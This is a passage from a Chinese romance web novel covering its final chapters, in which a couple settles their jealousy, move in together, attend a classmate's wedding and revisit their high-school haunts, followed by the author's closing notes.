方敏周还没看到他,而是拿出手机看了看,像是在等什么消息。 王衎心思一动, 果然,她一分钟前发来了一条新的微信,说她在免税店遇到了大学的学长。 王衎收起手机,扬起笑容。 ——方敏周看到他了。 她挥了挥手,朝他快步走来,走到跟前,微微仰着脸,自己嘴角翘得高高的,接过花后反而狐疑地瞥他:“……你笑什么?” “笑你啊。”王衎大剌剌地说。 方敏周略有羞恼地瞪他,表情可爱,刚要说什么,卓睿走到了他们旁边。 她顿时像关抽屉一样收起笑,客气地帮他们介绍:“这我大学学长,卓睿,你们之前见过。” 王衎有些心里不免有点暗爽,但方敏周颇有点谨慎地打量了他一眼,像是在确认他有没有看到她的消息一样。 “哦我记得。”王衎伸出手,假装这时候才认出来卓睿,“学长好。” “好久不见。” 两个人握了握手。 王衎看卓睿毫不惊讶,也不尴尬,一如既往的礼貌,估计方敏周也已经同他提到了他。 方敏周又看了他一眼,然后说起这次巧遇,王衎附和,问卓睿要去哪,“我们送你?” “谢谢,但不麻烦了,我朋友来接我,马上就到了。”卓睿说,“你们先走吧。” “行,以后有机会请你吃饭。”王衎说。 卓睿笑:“好啊,最近的话——就看你们这周六有没有空了,我刚和方敏周说这事,最近很多同学都在江城,之前辩论社的指导老师也在,说有机会是不是聚一聚。” “你有空吗?”方敏周问王衎。 “和郑彦航约了。”王衎说,“不过你们同学聚会,我就不凑热闹了。” “其实不会,估计就是找个户外露营玩玩,还有人会带小朋友过来。”卓睿说。 “我也不太确定,到时候看看,可以的话和你们说。” “好的。” 上了车,方敏周问王衎:“郑彦航要来江城?” 王衎瞥她,方敏周奇怪:“……还是你周末要回樟城?” “我乱说的,听不出来?” 方敏周:“……” 行吧,她不和他一般见识,“我去的话你也一起来呗,没事。” “不去。”王衎说,“虽然我前半句是假的,但后半句是真的,你们辩论社聚餐我去干嘛。” 方敏周要笑不笑的,“就那几个人,我辩论社同学你不也都认识吗?” 王衎闻言咳了咳。 读书那会他抓着机会在方敏周同学老师面前刷脸,出于某种“宣布所属权”的心理,他们庆功宴什么的,他还给点过外卖蛋糕。 “你们这几年才见一面,算了,没必要,他们知道你有家属就行。” “你现在这么势利了?” “嗯哼。” 方敏周仔细看了看王衎,也不和王衎贫了,“我要是去了,你真没事?” 王衎又是“嗯哼”一声,“你是不是觉得我一定又要吃醋和生气?” 方敏周不置可否:“你进步很大,孺子可教也。” “你进步也挺大的,知道提前报备了。” 方敏周失笑。 “那我问问,你们刚才都聊什么了?” “他来江城出差,然后聊了下聚餐的事。”方敏周看着王衎的侧脸,说实话,他这么平静她还挺不习惯的,但是,因为过于平静,反而显得刻意,他那一丝丝的戒备,像扯不断的尼龙丝线似得,也缠在了她的身上,要么就这样把两个人捆在一起也挺好的,“然后他问我怎么走,我说我男朋友来接我,他又问了问,我说是你。” 王衎看过来,伸出右手快速地揉了一把方敏周的脑袋,“说得好!” “哎呀。”方敏周叫道,她的头发都被弄乱了。 王衎哈哈大笑。 “开车呢。”方敏周提醒他。 换作以前,这种都已经明显透露过好感又被拒绝的异性,王衎是会想要方敏周和他们老死不相往来的。 尽管这样行为不理智,但读书的时候人际关系简单,并不觉得需要维护什么表面上的体面以及复杂的人际关系网——现在王衎已经不会这么极端了。 他们重归于好后,除了吃和做,当然也有精神上的交流。聊聊今天做了什么,明天要做什么,现在和未来都聊过了,也要追溯过往,聊聊从前。 起初先聊甜蜜的搞笑的美好的回忆,糖吃完了,就翻起旧账了。 提到他是个妒夫这件事,王衎还是要为自己辩解几句。就像小吵怡情一样,有些时候他本意只是撒娇,是方敏周太严肃太正经,俗话说小事化了,在方敏周眼里,反而一些小事会被上升到很高的高度。 方敏周承认自己有这个问题,“……可能是被我爸影响的。” 王衎:“……” 他不太想聊方爸爸,转而说:“而且我从来不会让你误会,但你身边,一二三四五六七八的。” “是吗?” “是啊。” 方敏周看着他沉默了会,王衎心里莫名有点发毛,出乎他意料,方敏周提到了他大学的一个女同学。 方敏周说,她曾经一度很介意过那个女生,因为觉得她女生很优秀,而他们每天一起上课,偶尔同学聚餐,小组作业和一些比赛又经常合作,暑假集训也是一起,“感觉你们特别志同道合。” 王衎听着听着,惊的部分超过了喜的部分。 他希望方敏周吃醋从而满足他的男性尊严,她真的吃醋过,他却完全没有发现;他希望方敏周吃醋从而被他调侃,可实际上,他看着方敏周略带自嘲说起这些事情,心里只剩下难受。 “你那个时候还在我面前夸过她。”方敏周说。 王衎把“真的假的”四个字吞下去,他忘了,可能有过这种事情,方敏周不会胡诌,他倒是也记得方敏周在他面前提起过哪些异性同学。 “你干嘛不说?自己背地里一个人伤心去了?”王衎说她。 方敏周淡然:“我那是会自我调节情绪,不像你,动不动就动手动脚的。” 他也就笑,心却越来越沉。 他想,他确实把任性当无知了。明明知道吃醋是多么痛苦的事情,那种又酸又苦的感觉,他为什么还一直想要方敏周尝尝?而方敏周总是会把最好的东西给他。 到家后——准确地说是他们的家,方敏周才想起问:“你没把房子拆了重装吧?” 王衎按下电梯楼层,两个字:“你猜。” 方敏周:“……” 她做好了心理准备,没想到一进家门,乍一眼,看不出哪里有什么不同,无论是家具还是装潢,都和她离开前一幕一样,除了厨房里温着一锅飘香的汤。 等她进入卧室,才看到一套新的四件套,以及衣帽间里多了更多的王衎的衣物。 其实那个独立的衣物架,也是王衎前段时间添置的。 “我难不成真把房子拆了?”王衎如是说。 他递给方敏周一杯水,杯子是新的,类似于树的样子,像是手捏烧制的。方敏周喝了一口,默认杯子里是温水,结果是蜂蜜水,再看向王衎,发现他手里拿着配套的另一棵树的杯子。 “你自己做的?” “嗯,去年闲的没事干的时候弄的。” “你怎么现在舍得拿出来用了?” “算乔迁礼。” 方敏周耳朵微热,抿着笑继续喝水。 其他菜的食材都已经备好了,王衎炒菜,方敏周先去洗澡。 她从衣橱里拿毛巾时,毛巾里掉下一张便签,捡起来一看,上面是王衎的字迹:我发现你的毛巾比我的软。 落款是她出差的第三天。 方敏周又忍不住笑了,然后突如其来的,有点难过,觉得他有点可怜,不是悲惨的那种可怜,而是令人心软的可怜,尽管一见到他本人的模样就只觉得他可恶了。 王衎以前也经常喜欢搞一些小动作,但那时候,方敏周就以为是喜欢,不曾觉得那是脆弱的表现。 他写这张纸条的时候,在想什么呢? 她从柜子里找出笔,在便签上回复:已下单同款,然后把便签放到床头柜上。 吹干头发走出卧室,王衎差不多做好了晚餐,四菜一汤,两个人好像吃不完,不过问题不大。 “你换餐盘了?”方敏周又发现了不同。 “嗯。” “好端端地干嘛换?” 她的厨具也是她精心挑选过的好吗? “我之前没好意思说,我欣赏不来你的餐盘,所以我换了我喜欢的。” 方敏周深感审美被侮辱,筷子差点停下,并冒出把刚才下单的毛巾订单取消的念头,“你这是没有矛盾硬要制造矛盾?” 王衎撇撇嘴,把一碗莲藕排骨汤端到方敏周面前,“下次你做饭可以用你的餐具。” 方敏周:“……” 她深呼吸一口气,喝了口汤。 不得不说,这是一个解决办法。 王衎笑眯眯地问她:“味道怎么样?” “还行吧。”方敏周冷脸道。 在使用自己喜欢的餐具和洗手坐等吃饭中,她选择后者。 周六的聚会方敏周还是去了,王衎本来说送她,但因为在郊区的茶田,很远,也不知道什么时候回来,方敏周就让他别折腾了。”选得什么鸟地方。”送她出门时,王衎不免吐槽了一句。 “不是卓睿选的,我老师选的。” 王衎嘴硬:“那也是鸟地方,有小鸟的地方。” 方敏周被逗到,笑完觉得对老师大不敬,心里默默补上一句道歉。 方敏周走后,王衎在家里也没待多久就出门去了健身房。 中午吃完饭,去一个设计展走马观花逛了逛,逛完回家拼乐高。如果方敏周在家,估计也是陪他一起拼,她要是想,他们也能去找个地烧烤。 这么冷的天户外烧烤,也够有闲情逸致的。 五点多钟天就黑了,等王衎感觉饿了,时间也才七点不到。 懒得开火,他下楼吃饭,然后再逛到附近商场,去超市买了些东西,收到方敏周说快要到家的消息时,才去收银台结账。走到小区门口,好巧不巧,正好看见方敏周从一辆陌生的车上下来。 紧接着副驾驶座又下来一个人。 王衎觉得自己还是成熟了,现在脾气不要太好。 方敏周和卓睿聊了几句,车窗被摇下,车上还有其他人,再说了什么,方敏周和他们挥手道别离开。 同样目送方敏周的背影消失在小区里后,王衎再看过来,卓睿还站在原地,转身准备上车了,这个时候,他看到了他。 “还真是你们。”王衎走过来,主动打招呼,“麻烦你们送敏周回来了。” 卓睿笑了笑,“不客气,我们叫了代驾,正好顺路。” “诶!”车子后排是一男一女,王衎认出来,都是方敏周同级的队友,人已经有些醉了,但也都认出了他,一脸惊喜。 “哎呀,你今天怎么没来啊,错过好戏了。”男生大着舌头。 王衎笑问:“什么好戏?” 卓睿回答:“有些人没见过你,一直问方敏周要照片看。” 说话间,他垂着眼扫过他手里的塑料袋,他也没买什么,就是一些水果零食。 “看了吗?”他问。 “看了,都是好话。” 王衎听得很高兴的样子,再寒暄了一会,车里的男生喊着王衎下次一定要来,又说要喝他们的喜酒,王衎都一一答应,然后问卓睿他们住哪。 卓睿报了一个酒店名字,确实顺路,距离这里还有三四公里。 王衎点点头,寒风吹过,他闻到了一点烟火味,想到方敏周身上可能也有同样的气味,他有点不爽,不过他猜方敏周回家的第一件事情应该就是洗澡。 没什么好说的,他便评价了句那家酒店服务还不错,卓睿说他听方敏周提过他的工作,掏出名片,王衎接过,但不好意思地说他没有名片在身,“如果有什么事,可以找敏周和我说。” “好啊。” 终于客气道别,卓睿又像想起什么似的说到:“吃烧烤,都喝了点酒,不过方敏周喝得不是很多,应该还好。” 他点到为止,王衎听懂了,“好的,谢谢。” “没事,我就是怕她会胃不舒服。” 这下王衎就没听懂了,他自己喝酒把胃搞坏过,难道方敏周也这样过?“……她之前和你们喝多过吗,还是?” 他不记得方敏周有胃不舒服过,相反,她除了经痛,很少生病,他知道的上一次还要追溯到高考考完的那个暑假。 深夜的光孤零零的几束,月亮的、路灯的,还有车子的,各自照亮一块地方。“没有喝多过,但有一次她因为胃痛住过院,所以我这么说。就是之前有次你给她打电话,然后我说她有事,让你迟点再联系她,你还记得吗?” 王衎没了表情,沉默地看着卓睿。 “好像是因为压力太大吧,我们几个同学去看她,她睡着的时候你打电话过来,我看你一直在打,就接了,但也不知道该不该说。” “她后来也没跟你说是吗?这确实是方敏周的性格,我听说她当时好像还没好就跑过去找你了?” “我和你说这些,是因为……过去的事都过去了,然后我是想之后工作上可能会有一些事情找她帮忙。” 卓睿貌似真诚地说这些话。 “你们怎么还没聊完?”车里的人喊了句,像是睡过去又睡醒了,然后又没了声。 “你和我说这些,是觉得我会不同意方敏周和你合作?” “我怕你误会。”卓睿脸上还是有笑。 “现在不会了,我倒是希望你别误会了。方敏周如果拒绝你,那是她真的拒绝你,我不会干涉她的想法,她也不会被我干涉,如果她和你合作,我也很乐意她赚大钱来养我。“ 卓睿的脸僵了下。他大概觉得他很不要脸吧,觉得方敏周怎么会喜欢他这样的男人。 “不过还是谢谢你和我说这些。” “……不客气,我现在是真心祝你们幸福。” 车子开走了。 方敏周洗完澡,依然不见王衎,她有点奇怪,与此同时还有点被害妄想症,正要给他打电话,门被外打开,她略微松了口气:“我还说你去哪了。” 她扒拉王衎手里的袋子,看他买了什么的时候,突然被他一把抱进怀里。 方敏周:“……” 她觉得王衎的热情实在表现得太夸张了一点,但想想,今天是有由头让他发疯了,也就随他去了,但是,她可是刚洗完澡,王衎好歹得把外套先脱掉吧? “你上次生病是什么时候?”王衎忽然无厘头地来了一句。 方敏周一愣,“你生病了?” “有点。” “冻着了?” “没有。” “那哪里难受?”方敏周贴了贴他的额头,“没发烧啊。” “心脏。” 方敏周扑哧一笑,推他赶快去洗澡。 “你还没回答我,你上次生病什么时候?” 方敏周察觉到古怪,但猜不到发生了什么事,还是先回答了王衎的问题,“不记得了,去年冬天的时候感冒过?” 王衎闷闷地应了一声,又说:“你身上香香的。” 方敏周脸红,“你去洗澡你也香了。” 王衎又不说话了,方敏周真的有点担心起他,“你到底怎么了?” 王衎摇摇头,“我觉得我自己好笨。” 换作平时,方敏周大概是要附和一句的,但这会儿太不对劲,她软声问他:“干嘛呀,谁说你了?” 王衎又只是摇头。 方敏周一头雾水,但只能抱着他,摸摸脑袋安慰。 摸着摸着,他吻上来,滚烫滚烫的吻,但很温柔,方敏周也轻轻回应着。 好一会儿,感觉王衎的情绪终于稳定了下来。他进了浴室,方敏周在外等着,打算等他洗完再和他好好聊聊。 实在想不出发生了什么事,难不成还是因为她去聚餐了不高兴,焦虑发作? 浴室里还有残留的水汽和香味,大部分的洗漱用品都是方敏周买的,光是沐浴露都有三瓶,味道各不相同。方敏周在别的事情上很严谨,沐浴露倒是换来换去。 王衎洗澡的乐趣之一,是通过闻先洗了澡的方敏周身上的味道,得知她用了哪瓶,再用一样的。 她今天是玫瑰味的。 热水浇淋而下,王衎捂住了脸—— 作者有话说:下章完结 【正文完结】 第90章 第 90 章 王衎洗…… 王衎洗完澡出来, 先拉着方敏周做了一会。 方敏周挺配合的,但今晚王衎细致得过犹不及,后来她声音和身体都抖, 他又拿了一个枕头垫在她腰下。 不过她也没真的昏头, 做完了, 重新躺下后, 她在黑暗里抚摸王衎的眉眼, 没忘记追问他究竟是受了什么刺激。王衎抱着她不吭声,方敏周假意威胁,“你不说那我就睡了?你之后再闹我也不会理你了。” “凶巴巴的。” 方敏周:“……我这哪凶了?” 她最近可能真的对王衎太好了点, 叫他得意忘形了。 王衎浅浅地笑了下,问她:“你自己想想, 你还有什么事情没和我说。” 方敏周愣了愣。 这个问题可大可小,她坐起来, 想要开灯, 王衎按住了她, 方敏周略迟疑地问他:“什么什么事?” 客观来说, 一个人的事情, 再亲密, 另一个人也不可能全部都知晓,不过她想了下,感觉也没什么事啊。 “你之前胃痛住院的事, 为什么不和我说?” 方敏周彻底呆了下。 王衎的声音听起来挺平静,她也没了继续开灯的想法, “你怎么知道的?” “刚在楼下看到你学长送你回来了,放心,没打架, 就是随便聊了聊。”王衎说,“我说了,你又不说话了?” 方敏周沉默半晌,“……那时候没好意思说,是我自己把自己搞得太累了,说出来感觉像借口。” 尽管其实差一点也是想要解释的。 王衎叹了口气,把方敏周搂过来,埋在她温暖柔软的怀里。 他从来不曾觉得他和方敏周行为处事上哪里相像,现在却发现,他们都在以伤害自己的方法爱对方。 是因为不够信任吗?所以不敢把所有话说出来,还是爱情就是会让人小心翼翼,但委屈确实求不得圆满。 “我本来想装作不知道这件事,因为说出来,估计你只会觉得很尴尬。”王衎慢慢道,“但我还是想让你知道,我现在知道你当时生病了,甚至来找我的时候都还很不舒服,但我居然都没有看出来,对不起啊。” “王衎……”方敏周喊他,不要再道歉了。 “不过我也要回你一句,我为什么不能知道?方敏周,如果以后有什么事情,都让我知道吧,有时候我真的很笨。” “……好。”方敏周捧起王衎的脸亲他,“别说自己笨了,你一点都不笨。” 王衎低低地笑了笑,把方敏周抱到自己身上。 正式同居的日子和之前差不多,甚至比方敏周预期的好一点。 一些生活习惯的不同已经磨合,开销则商量着来,她比大学的时候有钱,王衎也不再那么浪费,家务活挑着擅长和喜欢的做,王衎做菜,她便负责洗碗,但有洗碗机,也就没太大工作量,其他的家务活谁看到就顺手做了。 虽然有的时候方敏周会觉得房子好像太小了一点,抬头低头都能看到王衎,但是那种无论什么时候喊他都能听到他回应的安定感,一度让方敏周觉得奇妙。好像一个专属于自己的海螺,放在耳边,就能听到海浪的声音。 生活的琐碎因为完整,一点点拼出未来的形状。 跨年那天到处都是人,方敏周和王衎待在家里吃火锅。 凌晨五点,方敏周被闹钟叫醒,天还是黑的,窗帘缝隙外隐约露进一点儿光亮。她又看了会王衎的睡颜,才喊他起床。 “……干嘛?”王衎嘟囔。 “你自己说的,要起床去看日出。” “……” 他装死了。 方敏周推他,又试图把他拉起来,“起床啦。” 反被王衎拉过去压在身下,他死沉死沉的,这下方敏周推不动他了,也就放弃,反正她无所谓,是他昨晚兴致勃勃地说要去看新年的第一个日出。 方敏周都打算闭上眼睛继续睡了,王衎却突然哀叹了一大口气,用力地亲了她脸一下,振作道:“起床起床。” 方敏周哭笑不得。 到山下六点不到,天还惺忪,暗沉沉的,爬山的人倒不少。半山腰有一座道观,里头香火袅袅,在朦胧的冬日清晨,别有一丝宁静。 江城有一些颇有名望的寺庙道院,大学的时候,方敏周同王衎去参观过最有名的一座,简单地上了个香,没许什么愿望。方敏周往小小的门里看了一眼,王衎顺手喂了她一颗糖,说如果她想,可以等会下山的时候进去看看。 方敏周问他:“你要抽签吗?” 王衎摇头,他其实相信万物有灵,命运既定,世间有神仙,但他并不想提前知道太多。 他抹掉方敏周额角沁出的汗珠,他珍惜当下的幸福。 山不高,但足够眺望整座城市。爬到山顶,两个人都冒热气,王衎从背包里拿出保温壶,方敏周喝完后他喝。 很快,远方连绵的山脉被描上金边,通红的太阳一点点破开淡青色的壳,圆圆的一点,越悬越高,天亮了。 王衎抱着方敏周,知道她在外头会害羞,所以只是亲了亲她的额头,反而被她盯着看。他刚挑眉作疑惑装,她在他嘴唇上落下一吻。 暖暖的朝霞把脸照得微红,树梢晃动,其实没有人会注意到他们这个角落,就算有,可能也就是坐在树上的神仙吧。 之后春节将近,今年方敏周提早了一个星期回家,主要是要在爸妈面前表现下自己创业后的自主权,王衎还有工作没结束,依依不舍的,方敏周说他做作,“就那么几天。” 王衎说可不止几天,春节假期,各自走亲访友,哪有什么见面时间,现在唯一确定能见面的日子,还是尹梦然婚礼那天。 “那怎么办,忍忍吧。” “我不要。” 方敏周笑着叠衣服,忽然动作微顿,问了句:“那你要不要来我家吃饭?” 王衎以为自己听错了。 方敏周随口说的这话,说出来后,倒是有些不好意思,表面上还若无其事地在继续收拾行李,但半天没等到王衎反应,她反而真的镇定下来。 她看向王衎,王衎也正看着她,盘腿坐在床上,坐的端正,有点紧张有点羞涩还有点苦恼,“我还没准备好怎么办?” “……准备什么,吃个饭而已。” 都来她家吃过多少次了。 “哦,我还以为你要给我名分呢。” 方敏周:“……” 把自己说得好像小媳妇一样,“那可能要看你到时候表现如何。” 王衎一脸真诚求教,“那我该怎么表现啊?” 方敏周演不下去,“你要来就来,不来的话……” “来,当然来!就算随便吃个饭,也得慎重点吧。”王衎穿得单衣,但做了个整理领子的动作,“那你什么时候到我家吃饭?” 王衎本来还没想过这事,但方敏周既然主动提了,他觉得那他是该准准备日程了。 他上一次见方敏周爸妈,还是在大三的暑假。有天晚上他送她回家,在她家楼下正好遇见散步的叔叔阿姨。 现在想起来,有点遗憾。那时候虽然叔叔看到他时总还是一秒沉脸,但阿姨对他已经是默认的准女婿状态了——他自认为是的。 而方敏周被王衎这么一问,也跟着心跳了下,勉强道:“都行。” 她和阿姨已经聊过这事,没和王衎说过。 “等我挑个黄道吉日。” 方敏周随便他。 尹梦然结婚这天,听说是春节假期期间最好的日子,宜嫁娶。 男方也是樟城一中毕业的,大他们三届。双方宴请宾客,都请了昔日同学,俨然小型同学会。 读大学那会大家都挺念旧的,每年寒暑假都有人组织见面,方敏周和王衎一起去过两次,两次都被起哄合唱情歌。方敏周脸皮还是薄,但胆子大了些,那时候也真豁出去唱了。 后来大学毕业,一部分同学回到樟城,人凑不齐,但时不时会聚一聚。大概也是这个时候,她和王衎分手了的消息被传开了,毕竟他们很久没有再在同一个场合出现过。 方敏周没有刻意避过,王衎说他也没有,只是一个常年在北城,一个常年在江城,都在樟城的时候也有,但总之没碰上,现在倒是在七班近几年人到的最齐的一次,一起出席了。 少不了被调侃,方敏周能应对,但还是推王衎当那个挡箭牌。 詹老师也有来,有些人敬起酒来很是老手,不像十年前谢师宴那会,还装模作样地拿果汁掩饰。 詹老师前两年退休了,虽然见老,但精神和身体看起来都还很健朗,每一个学生她都记得。方敏周和王衎去敬酒,她还对他们露出了从未有过的揶揄的表情,“你们这对什么时候请我们喝喜酒?” “噢——”郑彦航在一旁作猿猴鸣叫。 王衎先是一愣,再是笑着看了方敏周一眼,“我尽快。” 敬完酒撤走,王衎偷偷同方敏周说他后背都湿了,“真没想到先见的是詹师太。” 方敏周摸了摸他的后脖,还真有一点汗。 “诶,摸哪里呢?”王衎低声道,“当众调戏我。” 方敏周这才察觉自己刚才行为的不雅,热意瞬间窜上两颊,都怪王衎老是私底下闹她,搞得亲昵惯了。拆了湿纸巾擦手,又把湿纸巾扔给他。 王衎笑着也擦了擦手。 然后方敏周问他:“你们男生为什么都要喊詹老师詹师太?” 王衎被问住了。 他就是跟着叫,谁取得外号,还真不知道。找了几个男生对账,最后还是吴丞总结,说好像是从之前的学长口中传下来的,因为听说詹老师以前读的是女子师范大学,对男生特别严格,“怀疑她想要成立一个自己的峨嵋派,不过到我们这届好像好一点。” 方敏周听后,想起了孙彤。 说是人到的最齐的一次,不是全员到齐。 孙彤自毕业后就杳无音讯,方敏周可能是和她关系最亲近的一个,大大小小的同学会她一次都没有来,这次婚礼也缺席,但托方敏周给了新娘子一个大红包,大到是整个七班同学里最大的,尹梦然非常惊讶。 一个搞笑的巧合,方敏周的红包排第二,第三则是在外地同样有事无法到场的林斯年。 但为什么?尹梦然问方敏周,她和孙彤高中的时候没怎么说过话,毕业后更是没了联系,只是发请帖的时候想到她,因为知道方敏周和孙彤有联系,才托着问了下,说人到就行,不需要礼金,她只是想要婚礼热闹一点。 方敏周也不知道,她没问。 无解之谜,尹梦然不想纠结了,以后还回去就是,但这么一想,又担心有没有机会,再同方敏周讨论,方敏周依然一问三不知。 “算了算了,大不了等她三十大寿的时候还她,”尹梦然说,转而眉飞色舞地暗示方敏周,“等会扔捧花的时候,你看……” 方敏周在北城工作的那几年,尹梦然因为工作的关系,经常北城樟城两地跑,两人之前也维持着联系,因此更加熟络。一开始,尹梦然问过她和王衎分手的事,她问的方敏周基本都有答,尹梦然不像那年夏天一样说王衎的坏话,但也没有说其他的什么,后来不再提及。 得知他们复合,她倒是挺开心的,虽然她说,是这样就不用苦恼请帖发不发给王衎了。方敏周当时说,就算她和王衎没复合,她想发就发,没关系。尹梦然吐吐舌头,阴阳怪气地回了句:“嗯,没关系。” 这会儿听尹梦然这么说,欢乐美好的气氛下,方敏周有一点点心动,不过她还是拒绝了:“这种看缘分的事情,还是随缘吧。” “真的?” “嗯。” “你怎么一点都没变,还这么有原则。” 方敏周笑:“这就算有原则了吗?” “算啊。” 方敏周觉得尹梦然的原则标准太低了,她只觉得她说比较有道理。 “你看,也只有你觉得应该怎么样应该怎么样,世事万物总有你的道理。我不是在批评你哦,我是在夸你。” 猛地被尹梦然这么一分析,方敏周想了想,“你说有道理。” 尹梦然“哎哟”了一声,笑到不行。 婚礼仪式接近尾声,新娘准备扔捧花了。 王衎同方敏周咬耳朵,“你真不要?” 方敏周瞥他,“你要?” “我要的话你帮我抢?” 方敏周点点头承诺,“你真要的话我真帮你抢。” 王衎仔细看了看方敏周,确定她是认真的,心下满意了,嘴上便说:“算了,我怕你受伤,家里花够多了。” 他下巴抬了抬,示意那些虎视眈眈的男男女女。 尖叫声中,捧花在几只手的指尖跳来跳去,最后竟是落到了一旁看戏的欧阳茜怀里。 按尹梦然婚礼的规矩,抢到捧花的人是要上台发表感言。 事出突然,但欧阳茜表现得像是提前准备了发言稿,话说到最后都有点证婚人的意思了。她说她高中印象里的尹梦然如何如何,“好像有点公主病,但又好像真的是公主,那个时候看你跳舞,笑得很开心,没想到未来有一天,我能亲眼见证你穿上婚纱的幸福。” 大喜日子,本来就容易感性,尹梦然笑着笑着,眼角闪有泪花,新郎在一旁体贴地拍哄。 “欧阳茜这话说的,不知道的还以为她们高中的时候关系多好呢。”王衎评价。 方敏周:“……” “不是吗?我现在好奇,到时候我们结婚,她要怎么说了。” 方敏周:“……” 宾客尽欢,婚礼结束后他们一帮人吃吃聊聊,散场已是深夜。 两个人都喝了酒,方敏周还好,王衎有些微醺,他提议散步醒醒酒,方敏周看他还能走直线,便没意见。 这几年也许是热岛效应和全球气温变化,樟城的冬天比以前温暖许多,很多年没下雪了。 酒店位于市中心,但春节假期的夜晚也不甚喧闹。 香樟树冬天不会落叶,两个人在树荫下踩影子玩,酒醒了大半,越发有点舍不得这个晚上就这么结束。 “要不要去学校看看?”王衎又有了新主意。 “现在?”方敏周意外,看看四周,这儿离一中不算近也不算远。 不过牵着手,走着走着也就走到了。黑黢黢的校园,只有led电子屏幕上滚动的红字和发光的校训标题。 想进去看看,但大门关着,保安室有灯,没人,等了好一会儿,也没有人回来。 王衎:“翻墙进去吧?” 方敏周:“……你酒醒了没?” 王衎:“我没醉啊。” 方敏周换了个说法,她说,主要是黑灯瞎火的万一出了什么事,以他们这个年纪来说很丢脸,“所以下次白天的时候吧,你再来带我翻墙。” “好啊,一言为定。” “嗯,一言为定。” 王衎“切”了一声,“方敏周,我把你带坏了,你越来越会说瞎话了。” “烦不烦,走了走了。” 王衎看到路边的共享单车,又问方敏周要不要夜骑。方敏周忍无可忍地给了他一个脑瓜崩,拿出手机叫车。 司机是本地人,得知他们是参加完朋友婚礼,话匣子打了开,说起自己是闲不住,所以这个点了还在外面接单,因为这还和家里的妻子女儿吵了一架,“但送完你们这单我就回去啦。” “是要早点回去。”王衎说,“师傅,你不要吵架,吵什么呢?你家里人也是关心你。” “诶诶诶,你小年轻说得对,但脾气不好嘛,忍不住。” “你要你想改可以改的,你看,你可以等会回去的时候,就和你老婆孩子道个歉……”王衎传授起经验。 方敏周在一旁听得坐立难安,有点怀疑王衎到底醉了还是没醉。 等两个人都下了车,方敏周望着出租车消失在夜色尽头,再看看眼前的人,才想起来,“你等会怎么回去?” 王衎一愣:“是哦。” 两个人面面相觑,都笑起来。 方敏周心想,她大概也是有点醉了。 王衎重新叫车,但比刚才更难叫到了,不过他们并不着急,就坐在一旁的车站椅子上。 见王衎抬头望向她家的方向,方敏周开玩笑:“真叫不到车就到我家住一晚吧。” “也不是不行。”王衎应对的很从容,他本来后天也要登门拜访。 两个人目光相交,王衎凑过了亲了方敏周一下。 深更半夜的,两边店铺全都关了,小狗小猫都没有一只。 虽然是暖冬,但风吹来还是冷冽的,吹到脸上,更觉得双颊愈发滚烫。 王衎又吃吃地笑起来,方敏周问他笑什么,王衎像是提起什么好玩的事情:“你还记不记得,高中那时候你每次都只让我送你到这里。” 方敏周当然记得。 “那个时候我一定没想过,未来有一天,我可以在这里这么光明正大地亲你。” “……倒也没有多么光明正大。” “如果让我现在回到过去,我一定要让那个时候的我再坚持一下,胜利就在前方。”说着,手臂伸直,还做了一个胜利的姿势。 “……你不要教小朋友一些不好的东西好不好?” 王衎伏在方敏周,低声:“小朋友我啊,高中的时候就好想亲你了,你呢,小朋友方敏周同学,你那时候其实也很想亲亲我吧?” 方敏周不答,王衎轻笑,一下一下地亲她的嘴巴,小鸡啄米一样,吻到方敏周受不了,干脆按住他的脑袋,认真地吻了一会,终于让王衎满足了些,眼睛都舒服地眯起来了。 然后他站起来,兜着圈——车站翻修过,周边的店铺更替过,像是在寻找比对记忆里的画面,走到了站牌后的一棵树下,伸手招呼方敏周,神神秘秘的,“我跟你说个秘密。“ “什么?”方敏周走过去,微微抬头,看向王衎手指的方向。 黄澄澄的灯光下,斑斑块块的树皮上有一个小小的凹痕。 “你看它像什么?” 方敏周发挥想象力,感觉像一个轮廓模糊的爱心。 “有一次我无意间发现的。”王衎得意地说到这,剩下的,反而有点儿不好意思说了。曾经,他把这颗树作为他和方敏周的某种见证。 方敏周好一会才问:“高中的时候?” “嗯。” 方敏周沉默的时候太久了,王衎不禁看向她,“怎么了?你不要说我幼稚哦,我会伤心的。” 方敏周摇头。 只是,如果是高中的那棵树……她记得有一年台风天,楼下的这一排树都被吹折了,现在这棵,是后来新栽种的。 可是,这没有关系。 她可以把这当作一个奇迹,然后,幸福和快乐就是结局。 如果让她回到十七八岁的时候,她会说什么呢?她想,她会告诉那个时候的自己,这个世界上存在真正的Happy Ending—— 作者有话说:暂定两篇福利番外,一篇方敏周×王衎的,一篇关于孙彤的,迟点发。 非常感谢大家这段时间的支持和包容[粉心]